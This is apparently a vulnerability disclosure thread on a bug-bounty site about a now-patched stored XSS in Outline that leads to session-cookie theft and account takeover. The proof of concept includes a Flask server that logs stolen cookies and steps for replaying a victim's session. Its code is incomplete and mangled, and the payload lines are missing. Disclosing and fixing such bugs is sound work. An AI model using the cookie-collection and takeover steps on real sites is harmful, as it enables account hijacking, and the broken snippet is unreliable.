Stored Cross-site Scripting (XSS) leads to Account Takeover in outline/outline


Reported on

Jul 4th 2022

🔒️ Requirements

  • Be able to edit or create documents.
  • Click of a user on the link.

📝 Description

The markdown's link creation feature does not properly sanitize url input, which allows to use error event to execute javascript. Furthermore, due to a lack of HttpOnly flag on sessions cookie, it is possible to exfiltrate them via document.cookie variable to take over the other user's account.

The payload used is the following:


🕵️‍♂️ Proof of Concept

Basic cookies exfiltration


  • Step 2: create a document with the following content. (insert your unique url)


  • Step 3: publish the note, click on the link and go to

Before clicking:


After clicking:


Hidden cookies exfiltration

  • Step 1: Run the following flask application.
from flask import Flask, redirect

# init
app = Flask(__name__)

def index(cookies):
    print("\n\x1b[1m=== New victim cookies ===\x1b[0m")
    print(cookies, end="\n\n")
    return redirect("", 302)

if __name__ == "__main__":"", 8000)
  • Step 2: from attacker's account, create a document with the following content. (insert your flask url)

Victim point of view

Before clicking:


After clicking:


Attacker point of view


As you can see, the victim gets redirected to without knowing that someone have stolen his cookies.

Use cookies

  • Step 1: without closing the victim window, go to the outline login instance page.


  • Step 2: add the session, XX cookies you own with the attack. (you can use Cookie-Editor extension to make it easier)

Victime home page:


Victim account settings:



An attacker could use this vulnerability to takeover an admin account and get access to all the features of the outline application.

We are processing your report and will contact the outline team within 24 hours. a month ago
outline/outline maintainer has acknowledged this report a month ago
Tom Moor validated this vulnerability a month ago

An initial remediation has been deployed to prevent the javascript protocol from being rendered into the DOM.

A slightly longer term and more resilient fix will be to make the accessToken cookie httpOnly

Mizu has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
a month ago


Perfect, it's not working anymore on my side. @admin, can you ask the maintainer if it's ok to assign a CVE ID?

Jamie Slome
a month ago


@Tom, are you happy for me to assign a CVE to this report?

Tom Moor
a month ago

Okay, yes.

Tom Moor
a month ago

Actually I should put a patch of the last release out at least before that :)

Tom Moor confirmed that a fix has been merged on 85657b a month ago
The fix bounty has been dropped
Jamie Slome
a month ago


Are you ready for me to proceed with the CVE now?

Tom Moor
a month ago


to join this conversation